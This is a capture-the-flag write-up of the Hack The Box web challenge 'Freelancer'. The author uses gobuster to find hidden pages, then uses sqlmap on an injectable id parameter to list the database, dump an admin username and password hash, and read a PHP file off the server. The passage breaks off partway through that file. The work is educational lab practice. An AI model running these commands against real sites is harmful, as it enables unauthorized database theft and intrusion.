Connecting to http://docker.hackthebox.eu:32280/ shows a blog that seems not to have been configured. There is a contact form but no field seems to be injectable.

There is a robots.txt file but it seems empty. Running gobuster reveals 2 interesting locations: /administrat and /mail. The analysis of the source code of the main page reveals that the /mail folder contains a contact_me.php file that needs to be configured.

On the other hand, the /administrat location is an authentication form, but we don’t have clues about credentials.

Continuing the exploration of the source code of the main page reveals that images are loaded via a portfolio.php file that takes an id parameter (e.g. http://docker.hackthebox.eu:32280/portfolio.php?id=1). Let’s use sqlmap to check if it could be injectable:

[email protected]:/data/src/sqlmap$ sqlmap -u "http://docker.hackthebox.eu:32280/portfolio.php?id=1" --current-db


[11:55:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:55:27] [INFO] fetching current database
current database: 'freelancer'
[11:55:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/docker.hackthebox.eu'

[*] ending @ 11:55:27 /2020-08-23/

The current database is “freelancer”. Let’s list the tables.

[email protected]:/data/src/sqlmap$ sqlmap -u "http://docker.hackthebox.eu:32280/portfolio.php?id=1" -D freelancer --tables


Database: freelancer
[2 tables]
| portfolio |
| safeadmin |

And now, let’s dump the content of the safeadmin table:

[email protected]:/data/src/sqlmap$ sqlmap -u "http://docker.hackthebox.eu:32280/portfolio.php?id=1" -D freelancer -T safeadmin --dump


Database: freelancer
Table: safeadmin
[1 entry]
| id | password                                                     | username | created_at          |
| 1  | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | safeadm  | 2019-07-16 20:25:45 |

Unfortunately, I was not successful in cracking the password hash.

Recursively bruteforcing the discovery of files in the /administrat directory with gobuster reveals the presence of a panel.php file.

[email protected]:/data/src/sqlmap$ gobuster dir -u http://docker.hackthebox.eu:32280/administrat/ -x php -w /usr/share/wordlists/dirb/common.txt

Still using the previous SQL injection, we may use sqlmap to dump the content of the file:

[email protected]:/data/src/sqlmap$ sqlmap -u "http://docker.hackthebox.eu:32280/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php


[*] /home/kali/.local/share/sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php (same file)

Let’s check the file:

[email protected]:/data/src/sqlmap$ cat ~/.local/share/sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php 
// Initialize the session
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
    header("location: index.php");
